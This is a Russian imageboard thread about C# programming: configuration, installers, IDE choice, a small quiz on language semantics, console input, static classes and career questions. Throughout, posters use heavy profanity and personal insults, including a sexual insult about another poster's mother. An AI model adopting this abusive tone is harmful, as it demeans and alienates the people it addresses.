Я проверил, все работает. У тебя значит еще какая-то хуйня на запрос навешана.
72 1728793
>>728788
Да ничего не навешано. Буквально тот же запрос.
Я думаю, может быть это связано с тем, что поле типа UInt32, а PG там беззнаковые по своему хранит(как bigserial) и провайдер запросов не понимает как привести к этому самому UInt32. ХЗ короче.
73 1728797
>>728675
>>728671
Вполне возможно, потому что это код после декомпиляции. Видимо не дописал этот момент автор
74 1728800
>>728670
двач удаляет пробелы
пробел;
75 1728855
>>728793
Попробовал с uint, всё равно работает.
76 1728880
>>728855
Проверил на домашней копии проекта и действительно все работает. ХЗ почему на работе не работает. Хотя там рассинхрон кодовой базы имеется в 4 месяца работы, может быть я там в каком-то другом месте пролюбился и теперь такая вот штука происходит.
77 1728893
Шарпаны, такой вот вопрос. Вот я написал свою программулину. А как теперь мне ее другим людям доставить? Ну, скажем я сделал файловый менеджер но работает он через браузер. Как теперь сделать так, чтобы человек мог установить себе мой файловый менеджер и потом при включении ПК он бы тоже запускался, без всяких плясок с бубном со стороны пользователя? Ну, т.е. да, я могу скриптик для павершела написать, который создаст сервис который будет в автозапуске, но у многих же скрипты павершеловские будут блокироваться и не каждый пользователь будет хотеть их вообще запускать. Вот я и подумал насчет инсталятора, но не совсем понимаю чем их делают для .net core. Я гуглил про доставку ПО клиенту и там куча примеров с Эйжур, а вот обычные консольные приложения, которые работают локально, как-то не особо освещаются.
78 1729072
Я хочу приконнектиться в базе данных, написал в App.config блок connectionStrings, написал саму connectionString. А когда с самим кодом работаю - у меня
System.Configuration.ConfigurationManager.ConnectionStrings[name].ConnectionString
нихуя найти такую ConnectionString не может. В чем может быть проблема?
79 1729073
>>729072
Алсо, даже через дебаг посмотрел - у меня ConfigurationManager.ConnectionStrings имеет один элемент. Только это нихуя не тот элемент, что я вручную добавляю. А элемента, что я добавляю, и вовсе нет.
80 1729074
>>729073
Неправильно делаешь.
81 1729089
>>729072
>>729073
>>729074
Я долбаеб и забыл, что для юнит-тестов нужно эксплицитно ссылаться на App.config. Все работает.
82 1729093
>>729089

>эксплицитно



ЯВНО, дебила кусок.
83 1729123
>>729093
Пис оф менталли хендикаппед персон.
84 1729350
>>729093
«Явно» уебищно звучит.
Я активно топлю за максимальное заливание в рус.яз англицизмов.
Тем более в программировании, где английский - доминирующий.
Русский вообще неудобный устаревший язык, единственное его спасение - форсированная модернизация, через займ слов и оборотов из актуальных языков.
85 1729351
>>729350
каргокультист закукарекал заместо жабаскриптера
15817941724383.png450 Кб, 1225x977
86 1729367
>>729089

>эксплицитно


хуясе какие слова умные. Ты чей будешь, холоп?
>>729123
true
>>729350

>заливание в рус.яз англицизмов.


просто ты долбоеб и перхоть подзалупная. Не выебывался, а написал бы уже explicit, раз ты так любишь ангельский.
Странно, что ты задаешь вопросы на русскоязычной борде, а не на reddit/4chan/SOF. Тут твоими аглицизмами тебе по губам проведут и об щеку вытерут
87 1729409
>>724425 (OP)
There are, of course, benefits and drawbacks to this kind
of a setup, which we’ll discuss in Chapter 40, but it turns out to be a good idea for everything except low level stuff, like an operating system or a device driver. C# is a bad choice for things like that. (Try C or C++ instead.)
Тут говорится о том, что Сишка это хуёвый язык для операций относительно системы компутера или о том, что это хуёвый язык для новичка?
88 1729431
>>729409

>except low level stuff, like an operating system or a device driver


причем тут новичок? Автор правду написал, что низкоуровневые задачи типо драйверов или ковыряние в ОС не решается с помощью C#
89 1729438
>>729431
Только в манямирке.
https://en.wikipedia.org/wiki/SharpOS
90 1729444
>>729438

> Once the AOT compiler was far enough developed, the team then started to code the kernel. This was met with long periods of inactivity and few active developers due to lack of interest in unsafe kernel programming.


Ядро пришлось делать унсейф, так что шарповики обосрались и слились, высрав какой-то 0.0.1.
hqdefault.jpg8 Кб, 480x360
91 1729485
>>729438

>SharpOS


найс рофлишь
92 1730237
Анон, как лучше всего подключать базу данных Microsoft SQL для юзанья с WPF?

А то обычно в уроках через код (обычно так делают во всех уроках)

Но тут увидел что базу можно добавлять через solution explorer. А потом увидел что в студии есть источники данных
https://docs.microsoft.com/ru-ru/visualstudio/data-tools/add-new-data-sources?view=vs-2019

Как лучше?
93 1730393
Сап, есть ли интернет уроки типа CodeAcademy, но где предложат пройти тест и выявить плохо выученные темы, а затем их выучить, вместо прохождения всего курса с полного нуля?
94 1730405
>>730393
есть, называется собеседование
95 1730431
>>730405
Мне 18 лет.
Без названия.jpg7 Кб, 226x223
96 1730478
>>730431
у препода подойди и спроси, чтобы он тебя погонял по вопросам, что ты там в своей шараге проходил
97 1730791
Хм. Меня f# заинтересовал.
Кто-нибудь использует в реальных проектах? Для еще чего кроме обработки данных и описания моделей он может быть удобен?
98 1730811
>>730393
Идешь на кодворсы и решаешь задачки. В процессе поймешь, что на хорошо выучил, а что - хреново. Плюс задачки там прикольные на самом деле, забавно позалипать, после очередного дня крудошлепанья и поймать себя на мысли: А не все еще забыл-то.
99 1730818
>>730478
Я шарп лучше препода знаю.
100 1730915
>>730818
Ну ок.
Давай я поспрашиваю.
1. Ниже, какой результат выведется в
static void swap<T>(T a, T b){
T temp = a;
a = b;
b = a; }
static void Main(){
int a = 10;
int b = 20;
swap(a, b);
Console.WriteLine(a);
Console.WriteLine(b);}

2. Вот код класса. Какие в нем есть проблемы? Как их исправить?
public class Class1 : IDisposable{
private CancellationTokenSource cts = new CancellationTokenSource();
...
public async Task LongRunTask(){
while(!cts.Token.IsCancellationRequested){
...
}}
public void Dispose(){
cts = null;
}}

3. Ниже код. Что выведется в конcоль:
int i = -1;
Console.WriteLine(string.Join(",", BitConverter.GetBytes(i)));

4. Ниже код. Что в
try{
Console.WriteLine("A");
throw new InvalidOperationException();
}
catch(InvalidOperationException ex){
Console.WriteLine("B");
}
catch(Exception ex){
Console.WriteLine("C");
}
finally{
Console.WriteLine("D");
}

5. Ниже код. Что в коносль?

public interface I {
public void Foo();
}
public abstract class A : I {
public virtual void Foo() => Console.WriteLine("A");
}
public class B : A{
public override void Foo() => Console.WriteLine("B");
}
public class C : A{
public new void Foo() => Console.WriteLine("C");
}
class Program{
public static void Main(){
A some1 = new B();
A some2 = new C();
List<I> lst = new List<I> { some1, some2 };
foreach (var i in lst) i.Foo();
}}
Почему? Как исправить не меняя внутренности классов?

6. Ниже код чему будет равен y после выполненения.
object x = new object();
int y = 100;
while(x!=null && --y>10)
{
if(y==50)
x = null;
}

Ну, набросал то что было на первом курсе. Довольно примитивная хуйня.
Правила простые. Дал ответ - проверил. Отетил правильно +1 балл, неправильно -2 балла. Полез сначала проверять перед ответом -5 баллов. Если сумма меньше 10 - читай CLR via C#. Если меньше нуля - иди на метанит.
100 1730915
>>730818
Ну ок.
Давай я поспрашиваю.
1. Ниже, какой результат выведется в
static void swap<T>(T a, T b){
T temp = a;
a = b;
b = a; }
static void Main(){
int a = 10;
int b = 20;
swap(a, b);
Console.WriteLine(a);
Console.WriteLine(b);}

2. Вот код класса. Какие в нем есть проблемы? Как их исправить?
public class Class1 : IDisposable{
private CancellationTokenSource cts = new CancellationTokenSource();
...
public async Task LongRunTask(){
while(!cts.Token.IsCancellationRequested){
...
}}
public void Dispose(){
cts = null;
}}

3. Ниже код. Что выведется в конcоль:
int i = -1;
Console.WriteLine(string.Join(",", BitConverter.GetBytes(i)));

4. Ниже код. Что в
try{
Console.WriteLine("A");
throw new InvalidOperationException();
}
catch(InvalidOperationException ex){
Console.WriteLine("B");
}
catch(Exception ex){
Console.WriteLine("C");
}
finally{
Console.WriteLine("D");
}

5. Ниже код. Что в коносль?

public interface I {
public void Foo();
}
public abstract class A : I {
public virtual void Foo() => Console.WriteLine("A");
}
public class B : A{
public override void Foo() => Console.WriteLine("B");
}
public class C : A{
public new void Foo() => Console.WriteLine("C");
}
class Program{
public static void Main(){
A some1 = new B();
A some2 = new C();
List<I> lst = new List<I> { some1, some2 };
foreach (var i in lst) i.Foo();
}}
Почему? Как исправить не меняя внутренности классов?

6. Ниже код чему будет равен y после выполненения.
object x = new object();
int y = 100;
while(x!=null && --y>10)
{
if(y==50)
x = null;
}

Ну, набросал то что было на первом курсе. Довольно примитивная хуйня.
Правила простые. Дал ответ - проверил. Отетил правильно +1 балл, неправильно -2 балла. Полез сначала проверять перед ответом -5 баллов. Если сумма меньше 10 - читай CLR via C#. Если меньше нуля - иди на метанит.
101 1730933
>>730915

>Если сумма меньше 10 - читай CLR via C#


>Отетил правильно +1 балл


>дает 6 вопросов


Ебать студентота тупая пошла, земля пухом

P.S. Вопросы ака - задрочи на собесе. Я когда то вызубрил такую же залупу, но интервьер задал другие вопросы. Я конечно же обосрался на них и предложил - давай теперь я. В итоге обосрались мы оба. А я получил работу. Fin
102 1730944
>>730933

> Ебать студентота тупая пошла


Кто-то шуток не понимает.

> Вопросы ака - задрочи на собесе


Хуй знает, обычные вопросы на знание синтаксиса. Примерно такие были чтобы допуск к экзамену на первом курсе получить. Ну и да, я как-бы работаю уже 3 года, а ВУЗ 2 года как окончли. Не надо тут про студентоту рассказывать.
103 1730953
>>730944
всегда проигрываю с такой хуйни на собесах типо
string.Join(",", BitConverter.GetBytes(i)));
или про алгоритмы сортировочки и поиска. Самое главное не зарофлить с каменного ебала интервьера
104 1731011
Знаете где еще методы с большой буквы? В дельфи.
105 1731079
Пацаны что делать если студия лагает очень сильно лагает?
106 1731080
>>731079
Пришло то самое время.
107 1731082
>>731079
Следи за запущенными процессами. Я вот один раз не следил и у меня в фоновом режиме висело порядка 1к процессов хрома, которые жрали всю память и нагружали процессор до соточки.
108 1731161
>>731079
Ставь VSCode. Серьезно. Студия, по сути, нужна только когда ты отлаживаешь, для написания VSCode намного лучше.
109 1731179
>>730915

> 6.


50?
110 1731562
>>731079
SharpDevelop используй, летает на калькуляторах, не лезет каждый день обновляться, правда не поддерживает последние версии C#, но кто их использует?
111 1731766
>>731562

>не поддерживает последние версии C#, но кто их использует?


Как? Вы же говорили у вас нет легаси.
112 1731801
>>731766
Я говорил, что ебал твою мать. Она рассказывала о твоём раке простаты. Кстати, перезвони ей, скажи, что сегодня вечером опять зайду.
113 1731882
>>731179
Угу. А знаешь чому?
114 1731885
>>731882
Там разве есть какой-то подвох?
115 1731887
>>731079
Студия, мать твою, это дебагер. Никто в здравом уме в ней код писать не будет, блядь. Тебе дали нормальные редакторы, тебе дали ебучий VSCode, Райдер. Нет, блядь будем на этом перегруженном говне кодить.
Оно годится только когда у тебя реально маленький проект, ну 3-4 строк и это чисто шарп, без всякой JS-хуйни. Иначе - соси бибу, оно будет поперживать и тормозить и хуй что сделаешь.
116 1731916
>>731801
Ебанутый...
117 1732042
>>731885
Ну, если ты понимаешь, что в случае если бы было while(--y>10 && x != null), был бы результат 49, то особого подвоха нет.
118 1732044
>>732042
Тому що дальше && при проверке условия он бы не ушел. Прикольно.
119 1732079
>>731887
Проиграл с этого смузихлеба, который купил себе ноутбук вместо станционарного компьютера, а теперь сосёт хуй и вынужден кодить в обрубках, а не полноценной IDE.
.png2 Кб, 437x65
120 1732144
>>732079
Наверное 24гига и i7 5 летней давности это мало, чтобы, блядь, код писать и подсвечивать и иногда по ссылкам прыгать. Странно только что vs code с миллиардом, блядь, расширений работает без тормозов, на проектах в несколько раз больше тех, на которых студия уже начинает вызывать дискомфорт при работе. Даже не знаю с чем это может быть связано, уж точно не стем, что ебучая говностудия в 2020м все еще 32 битная, при том что она с ходу 2 гига на среднем по размеру проекте сжирает.
121 1732216
>>732144
У меня на среднем ноуте со студией, в которой подгружено с сотню проектов и основным проектом в котором содержится совокупно под полторы тысячи строчек кода, 0 проблем с производительностью. Стартует за секунды, запускает дебаг почти мгновенно.
122 1732221
>>732144
Конечно, конечно мы тебе верим, долбоеб, который хочет сказать, что говно запускаемое в браузере (Electron) и написанное на жопаскрипте, работает быстрее, чем программа написанная на C++
123 1732231
>>732221
Так на С++ можно очень обосраться с памятью и перфомансом, если криворукий, а жс такого говна не позволит и оптимизирует все в виртуапльной машине.
124 1732234
Собираюсь вкатиться в си шарп. До этого не изучал ни один язык программирования. Знать математику для этого языка необходимо? Английский нужен для него, и на каком уровне, если нужен? Расскажите, какие подводные есть. С меня как всегда
125 1732245
>>732234
Если ты для себя решил этим заняться, то похуй на матан и на инглиш. А вот логическое мышление и хорошая память тебе точно не помешают. Инглиш удобен, потому что на нем больше всего учебных пособий и видосов. С другой стороны до каких-то пор можно обходится русскоязычным контентом.

Смотри видосы, читай книжки, гугли, быдлокодь, когда начнешь хоть что-то понимать. В любом случае - это дистанция на годы, скорее всего сам все поймешь, успеешь только совершить несколько шагов.
126 1732253
>>732231

>если криворукий


Ну да, только таких в топ IT компанию и берут.

>а жс такого говна не позволит


Позволит и будет молча сжирать очередной гиг оперативки и десяток процента процессорного времени.
127 1732255
Почему в шарпе нету одной цельной команды для консольного ввода, на подобие scanf или cin?
128 1732260
>>732234

> Знать математику для этого языка необходимо?


Нет ни одного ЯП, где знать математику необходимо. Другое дело, что для решение задач она часто полезной оказывается.

> Английский нужен для него, и на каком уровне, если нужен?


Нужен как и для любого другого языка. Минимальный уровень - свободно читаешь документацию и можешь пересказать что там было написано.

> Расскажите, какие подводные есть.


Работы мало, требования для вката не самые низкие. Очень много неочивидной хуйни. Большая часть примеров что ты найдешь в интернете предполагает, что ты либо жаву либо си знаешь и писал что-то комерческого уровня. Да, еще куча пидрил говорит что знать весь фреймворк не обязательно, дескать пользуйся тем что нужно, только блядь такой подход приводит к тому, что ты не всегда знаешь что же там есть, пилишь свой говновелосипед, а оказывается, что решение есть в фреймворке и оно охуенное, т.е. таки надо выучить фреймворк, помимо языка.
129 1732277
>>732255
Что ты под "одной цельной команды" подразумеваешь?
Если хочешь писать:
Console.ReadLine()/Console.Read()
Без Console., то напиши директиву using вот так:
using static System.Console;
И можно будет писать:
ReadLine()/Read()
130 1732297
>>732277
Я хочу, чтобы в любую переменную в шарпе можно было ввести данные одной командой без конвертации строки в нужный тип и разведения на хуй не упавших лишних строковых переменных для этой самой конвертации.
Чтобы можно было делать так
int a;
a = Console.Readline();
а не вот такую вот хуйню городить
string stroka
int a = 0;
a = Convert.ToInt32(str = Console.ReadLine());

И кстати, какого хуя шарп обязывает меня всегда и везде при объявлении нестроковой переменной задавать ей какое-то начальное значение, даже если она всё равно его получит во время компиляции? Может, я не хочу? Почему тогда строке можно не давать начального значения? А?!
131 1732301
Я вот учился в ВУЗе и мне говорили, что использовать статические классы в шарпе - зашквар. Вот я и не использовал. Ну так вот. Но вот я решил свой проектик делать, составил сам себе ТЗ. И я стал себя ловить не мысли, что часть некой логики же все равно было бы удобнее в статический класс запихнуть.
Скажем, вот у меня есть настройки приложения, я хочу чтобы их было можно менять в произвольный момент времени и это отражалось на всю программу. У меня есть два пути - сделать сложную ООП хреновину с менеджерами настроек, контроллерами и прочим, могу сделать синглтон, который, по сути будет тем же статическим классом, а могу ебануть статический класс AppSettings, в котором добавлю событие изменения настроек на которое будут подписываться те кому надо и изменять свойства в зависимости от настроек. Где я проебался? Что я упускаю? Вроде же это как раз KISS и все такое.
132 1732304
>>732297
int a = int.Parse(Console.ReadLine());

А если как то чел посоветовал, то вообще:
int a = int.Parse(ReadLine());
133 1732306
>>732297
Сделай варпер. Делов-то.
public static class Halpers{
public static int ReadInt => int.Parse(Console.ReadLine());
public static string ReadString => Console.ReadLine();
}

Вынеси это в свою библиотеку и потом просто:
int a = Halpers.ReadInt;
string b = Halpers.ReadString;
134 1732319
>>732304
>>732306
И всё же это не
int a;
cin >> a;
135 1732322
>>732319
Строгая типизация, братан ¯\_(ツ)_/¯
136 1732323
>>732322
В крестах или шарпе? В крестах то она строгая.
.png17 Кб, 406x600
137 1732331
>>732319
В любом реальном продукте тебя считывать/записывать с консоли в 99.9% случаев не нужно будет.
Плюс, твой cin - такой же варпер вокруг потока ввода, внутри которого лежит перегрузка оператора битового сдвига, в шарпе дизайнеры решили ограничить возможности перегрузки операторов и такой свободы как в плюсах тебе не дают, и ИМХО это правильно.
Блядь, как же сука охуенно на первом курсе-то было, когда под видом си нам давали еще огрызки плюсов, и сука вот я читаю книгу про си, там написано >> - оператор битового сдвига вправа, ну, это понятно, но какого хуя если он перед этим самым cin стоит я записываю в переменную-то? И вообще, что блядь за cin такой сука. Хорошо хоть после первого курса нам нормального препода дали, который мало того что на шарпах учил, так и всю эту хуйню объяснил и когда на третьем снова начались плюсы, но уже у нормального препода, вся эта хуйня вопросов не вызывала.
138 1732332
>>732323
Почему так в шарпе понятно - ReadLine() возвращает string. Поэтому для инта надо парсить полученную строку. Лень гуглить этот процесс для крестов. Хитрая перегрузка? Замуты с обжектом?
139 1732334
>>732332
Просто для каждого типа перегрузили. Попробуешь из консольки считать json чтобы сразу десерилизовался в объект и пизда тебе.
140 1732335
>>732334
Для каждого стандартного
поправочка
141 1732337
>>732334
Спасибо, что разжевал. Я так и понял из этого поста >>732331, что это какая-то костыльная перегрузка, по сравнению с шарпом.
142 1732591
https://ideone.com/R9VWiP
Вот допустим, я хочу сделать коносольную игрушку. Вот пример того как я это примерно представляю
Ну и в чем суть, я не совсем понимаю, как без доступа к миру предполагается что некий эктор должен знать что делать, кроме как изменять свое состояние? А как должно контролироваться, что эктор не выйдит за границы мира? Ну, просто допустим, у в методе TickAction напишу логику, типа это яблоня, каждые 20 тиков оно может яблоко произвести, таким образом увеличивая число яблок на себе. Как мне сделать так, чтобы потом кто угодно мог подойти к яблоне и сорвать яблоко? Я не свовсем это понимаю.
143 1732619
>>732591
Игровое поле - двумерный массив чаров, адресное пространство x и y. Существа - экземпляры класса с полями текущаяПозиция, новаяПозиция. Позиция моба - адрес в двумерном массиве. Прежде чем присвоить новую позицию мобу, проверяешь пару значений на соответствие адресному пространству массива.

Существо может "осматриваться" вокруг себя занося в одно из личных полей список всех адресов, рядом с которыми находится. Может проверять адреса вокруг на символы, занесенные в двумерный массив. А может проверять эти адреса на соответствие значению полей других мобов/объектов игрового мира текущаяПозиция. Если совпадает - там кто-то есть, надо убегать или взаимодействовать.
144 1732737
>>728619
может с питона начнешь ?
145 1732847
>>730915
1. 10 20 ибо не ссылочный тип. Переебало бы, если бы через реф аргументы передавалось.
2. Три точки внутри класса?
Ну cts станет нулом при диспозу и нуллрефернс будет. Еще что-то?
3. Хуй его знает.
4. A B D
5. B A ? Исправить? Вызывать С.Фу() без приведения.
6. 50

Мимо погроммист.
sage 146 1732881
>>732847

> 10 20 ибо не ссылочный тип.


Уволен. Со ссылочными типами будет тоже самое.
147 1732954
>>732881
Ну да... Ну ты тоже пони что я имел ввиду.
148 1733190
Почему нигде не получается нормального ответа найти на то как делать установщики для .net core приложений? Не запихивать же просто в архив то что опубликовал в папочку? Да и даже так, у пользователя может СУБД есть и там оно все настроено и нужно имя-пароль для того чтобы создать базу данных для приложения, не заставлять же его лезать в файлик конфигурации, чтобы он сам там настраивал все, было бы правильнее, чтобы при установке это дело настраивалось.
149 1733237
>>733190
Потому что ты гуглить не умеешь. Я даже видео наше двухчасовое в котором пошагово показывают как делать инсталляторы.
Придется тебе через WPF/WinForms делать собственный, это не так уж и сложно.
150 1733290
анон, подскажи. вот есть база данных в MS Access. Есть прога через WPF. подключаюсь к базе акксеса через OleDb

теперь собственно вопрос, для программирования нужно ли чтобы стоял сам офис? или оно спокойно будет работать с базой без офиса (ну там как просто с файлом)?

Просто как получилось - на работе есть лицензионный офис. Не успеваю со сроками, хочу на выходных дома поработать с кодом (удаленный стол - говно решение и не удобно).
Но дома нет лицензионного офиса, взломанное говно также не хочу ставить (и вообще не хочу ставить)

Мне с базой не нужно работать - я просто пишу фронтенд над данными из нее. Структура таблиц у меня в отдельной доке, так что мне даже открывать базу не надо
151 1733470
>>724425 (OP)
сап, погромисты, мне нужно сделать кастомный генератор контекста подключения к БД, чтобы при генерации модели из БД контекст выглядел так, как я скозал, но пробема вот в чём: у entity framework DBContextGenerator доступен только для Pro версии VS, а на моей галере такого ещё не завезли, сидим на community, есть какие-то способы решения проблемы?
152 1733472
>>733290
Неужели проще выкатить простыню текста на двач, чем сделать запрос в гугель?

>you don't have to install ms office in the pc, all you have to do is installing Microsoft Access Database Engine. You can download it from : https://www.microsoft.com/en-us/download/details.aspx?id=13255

153 1733479
>>733472
спс.
Ну гугл упорно менял запросы на "как подключить access"... А читать все эти сотни статей в поисках одной строчки... Всеже проще на дваче спросить
154 1733846
Блин, я чет не догоняю. Смотрите, я поставил райдер и он мне говорит что половину моих методов хорошо бы в статичные переделать. Но ведь блин, как я понимаю в этом случае будет создан статичный объект, который так и будет все время висеть просто не имея доступа к остальным методам/свойствам класса. Или я что-то не так про статику понимаю? Поясните, если не сложно.
155 1733864
Наверное глупый вопрос. Но что считается более правильным подходом в плане разбиения по папочкам? Просто смотришь одни репозитарии, там разделяют как-бы по близости решаемой задачи; смотришь другие, там люди по паттернам, типа: Controllers, Views, Builders, etc. А кто-то вроде в проектикие с нормальным числом звездочек просто в одну папку все складывает. Вот и как решать как организовывать код проектика?
156 1733959
>>733470
Что ты хочешь? Заскафолдить БД в свои коннтексты/ентити?
https://blog.tonysneed.com/2018/05/27/customize-ef-core-scaffolding-with-handlebars-templates/
157 1733964
>>733864
Хуй его знает.
По привычке группирую по паттернам. Но это зло.
Feature Folder мабуть краще.
158 1734042
>>733864
По логике разбиваешь и всё. Что тут сложного? Ты же для удобства это делаешь, как ты будешь в каше из классов определять что к чему принадлежит и что с чем связано логически? Все общие классы для приложения оставляешь в корневой папке, что-то более конкретное кидаешь по отдельным папкам.
image.png171 Кб, 316x972
159 1734131
анон, как называется эта панель? (такая еще в Microsoft Access есть) - может сворачиваться влево, при нажатии кнопок выпадают подпункты этой кнопки)

Как такую сделать с WPF, без велосипеблядства? может где на гитхабе есть готовое?
160 1734156
>>734131
drawer
161 1734227
Смотрите, я вниманиеблядь и мне скучно просто сидеть в своей конторе и делать программы, которые никто почти и не видит. Вот. Хочу замутить канал на ютубе с уроками по шарпу. Но я сам всего год опыта работы имею. Нормальная ли это идея? Кто-нибудь из местных такое делал? Может быть идей для первых видяшек подкините? А то не хочется скучные лекции уровня вуза с простым пересказом того что есть в книгах.
162 1734259
>>734227
щас тут набегут моралисты и начнут доказывать что такие недоучки учителя не нужны.. но я вот что тебе скажу - делай.

Это тебе же будет полезно - есть такая поговорка "лучший способ изучить и понять тему, это попытаться объяснить эту тему кому-то другому". Когда начнешь этим заниматься на серьезном уровне, набьешь и себе опыта.
163 1734266
>>734227

>Хочу замутить канал на ютубе с уроками по шарпу


Очередной канал по шарпу, прошу заметить.

>программы, которые никто почти и не видит


Видео твои тоже почти никто не увидит.

>идей для первых видяшек подкините? А то не хочется


А сами виде за тебяя не сделать?
164 1734323
На ксамарине можно вызвать любую c++, либу? Или надо перекомпилировать под shared? Автор либы про какой-то специальный компилятор говорит.

Нужен детект nsfw контента, на дотнете нихуя нет, js не запустишь, питон тоже. Нашел какую-то китайскую библиотеку, но она на плюсах
Обещают 80 мсек на изображение, что очень даже хорошо
165 1734387
166 1734414
>>734227
Чому нет, делай. Буду твоим постоянным зрителем. Только техническую часть не зафейли. Я имею в виду звук, картинку, оформление.

Можешь начать с примитивщины. Хотя на самом деле и так на каждом втором тематическом канала на ютубчике лежит видос "Шо такое массив", "Шо такое переменные" и тд. Так что сомнительно это. С другой стороны аудитории нравится "старт с нуля" под руководством нового ментора, который уж точно приведет своих подопечных к новым вершинам мастерства в программировании.
15916029310090.png848 Кб, 780x864
167 1734417
Вкатываюсь 4 месяца и параллельно мониторю вакансии. Какого хуя они уменьшаются? Осенью же .нет5 будет.
Как бы не пришлось на жабу уползать, еще и батя через 3 месяца выкидывает с хаты.
168 1734428
>>734417
Где живешь? У нас в городе 1/2 вакансии висят как до короны, в апреле было тупо 0
До какого уровня дошел за такой срок?
>>734227

> Хочу замутить канал на ютубе с уроками по шарпу.


А ты сам хоть в раз жизни пользовался видеоуроками? Это же медлен-н-но. Может, у тебя есть какая-то фишечка, которая выделит тебя среди толпы инфоцыган?

> Но я сам всего год опыта работы имею.


Я тоже. В свободное время изучаю фронт, cs и иностранный язык нихуя не продуктивно

> Нормальная ли это идея?


Анон, не то чтобы я тебя дизморалил. Хочешь – пробуй. Но выхлоп сомнительный, как по мне
169 1734553
>>734428

>А ты сам хоть в раз жизни пользовался видеоуроками?


Ну к примеру так перекатывался на шарп. Я раньше был сиплюсплюснутым, решил перекатиться, но читать мануалы по шарпу было так лень... Поэтому просто пошел в ютуб и стал смотреть что интересно
170 1734588
>>734553
>>734428
сейчас бы судить по источникам информации, эх. Какая хуй разница, хоть по шрифту Брайля учить, главное чтобы мог решать задачи бизнеса. Какие же двачеры убогие
171 1734615
>>734553
Скучно смотреть как пчел что-то в иде пишет, не имея возможности скопировать, не имея автотестов под задачи. Ещё говорят все как один медленно, ставить надо 1,5 ускорение. У тебя был опыт в языке из семейства С, а значит, шарп нормально зайдет, можно просто смотреть. Уроки для нулевых – это другое
Сам Троелсена прочитал процентов на 40, потом Рихтера моментами прочитал. Потом на ulearn сидел – там после каждого занятия задачи с автопроверкой – это норм. А дальше ходить по собесам, писать петпроекты, изучать асп, паттерны и все остальное
>>734588
Да ты можешь хоть на глиняных дощечках клинописью преподавать, только кому оно нахуй усралось
172 1734623
>>734615
причем тут преподавать к изучать? Кому то лучше видосики смотреть, кому то книги читать. Главное, чтобы результат был. Найдутся задрочи, которым и то не так и так не так. Сразу вспоминаю долбней, которые переворачивали мышки и зазубривали хоткеи в IDE, чтобы "КАК ХАЦКЕР, С ОДНОЙ КЛАВОЙ"
173 1734656
>>734131
Accordion
174 1734669
Есть сайт инфу с которого я хочу спарсить, но вот проблема он ее подгружает как-то хитро через javascript/ajax (минимизированный скрипт на 1 млн символов), если тупо загрузить сайт через restsharp, webclient, httpclient, то будет страница без нужной мне инфы.
Так же по мере скроллинга сайт подгружает инфу которую я хочу спарсить.
Каким образом можно спарсить такую вещь?
Если через отладку браузера смотреть, то видно что в ответ сайт присылает нужный мне json, но вот как получить ссылку на этот json через код я без понятия, ссылка на него состоит из каких-то хешей явно и длиной в 1000+ символов.
175 1734688
>>734669
Кидай ссылку на сайт.
176 1734692
>>733959
пакет по ссылке работает только для .net core cli, что мне не подходит
177 1734693
Не шарю за энтерпрайз, аббесните, в чём суть ASP и для чего конкретно он нужен? Это просто веб-дополнение к .NET?
178 1734700
>>734623
Ясно)
>>734669
Посмотри в браузере, какие xhr идут к сайту. Вообще, тема изъезжена, найди какой-нибудь мануал да скопипасти. Типа "парсинг spa c#"
>>734693
Удобно делать mvc, webapi
179 1734705
>>734669
В глаза ебусь, не получается запросы повторить? В чем проблема длинной ссылки?
Присоединяюсь к анону выше, показал бы ссылку на сайт, интересно
180 1734767
Я чет обходил стороной blazor, но вот создал ради интереса стандартный проектик и блин, прикольно же. Не дропнут ли майки технологию? Хочется попробовать уломать коллег попробовать, а то сишники в шарп с трудом въезжали и для них ЖС это пиздец как чуждо, а фронтендеров которые шарят за все это, для нашей команды нанять - дорого.
181 1734777
>>734767
Либо wasm заставлять грузить клиента хуй кто пойдет, только если не дашборда для своих
Либо держать с каждым клиентом канал и слать изменения по нему. Я не знаю, сколько соединений gRPC выдержит один типичный серв. Не подскажешь цифры?
182 1734781
>>734777
Ну, в как раз дашборда для своих, лол.
183 1734792
>>724425 (OP)
приветствую рабочий класс!
с октября изучаю шарп (видосики, практика). на карантине прочитал "Fundamentals of computer programming with C#" на английском. у меня одно желание- вкатиться наконец в IT в ДС2 в идеале с дальнейшей релокацией в северную украину (канаду). помимо шарпа знаком с SQL, делаю взаимодействие БД с клиентским приложением как пет-проект. что посоветуете освоить дабы вкатиться?
184 1734806
>>734792
Чтобы вкатиться, надо, блядь, показать что ты задачи решать умеешь, причем быстро и без лишних усложнений.
Если придумать не можешь, вот тебе идеи:
1. SMTP-сервер
2. Программа учета времени(усложненная версия туДу листа). При добавлении однотипных задач, ты высчитываешь коэффицент ошибки и выдаешь примерное время завершения задачи, на основе данных, которые получил до этого(для простоты можешь среднеквадратичным отклонением пользоваться), к этому прикручиваешь веб-интерфейс + api для сторонних приложух.
3. Библиотека UI-элементов для коносли. Очивидно, она должна быть работать с мышкой, уметь в drag'n'drop, быть кроссплатформенной.
4. IRC-сервер поддерживающий кроссерверную передачу сообщений. Т.е. клиент может быть подуключен к твоему серваку, но они сервера объединяюстя в сеть и если получатель есть на другом - ты передашь сообщение ему.
5. Игрушка. Простая мульиплеерная 4X стратежка, с ресурсами и глобальными событитиями, которые может генерировать сервер.
6. Асинхронный TCP-сервер с возможностью расширения под любой протокол без лишних телодвижений. Т.е. твой сервер - канал связи, а пользователь библиотеки может просто впихнуть туда свой протокол обзщения, он не должен знать как у тебя прием соединений ведтся, не должен думать о том, какой таймаут и прочее, не знает ничего про то как ты собираешь сообщения, не знает про буфферы и прочую срань, он просто имплементирует интерфейс IProtocol и все само сабой должно работать, хоть он туда HTML впихнет, хоть SMTP, хоть свой придумает.
Если хотя бы что-то из этого будет у тебя на гитхабе, и ты сможешь продемонстрировать работу и код, то вкатиться не составит особого труда куда угодно. Причем сразу на должность мидла.{/SPOILER]
185 1734807
>>734806
Блин, пьяный я, проебал разметку. Грустно(((
186 1734879
>>734792

> с дальнейшей релокацией в северную украину (канаду).



Вышка есть? Нет? Тогда до свидания, никому ты со своим пед-проектом там не нужен.
187 1734924
>>734879
Вышка в рашкке говно! Я там выучусь
188 1735042
Приветствую
Столкнулся с низкой производительностью OpenCV (в частности matchTemplate)
Очень сильно грузит процессор, и скачет память во время работы
У кого нибудь был опыт сравнения OpenCV с альтернативами в плане производительности? (Accord.NET например)
или может быть кто то знает более производительные альтернативы?
189 1735093
>>734924

>Вышка в рашкке говно!


Тебе-то откуда знать, если у тебя её нет?
190 1735104
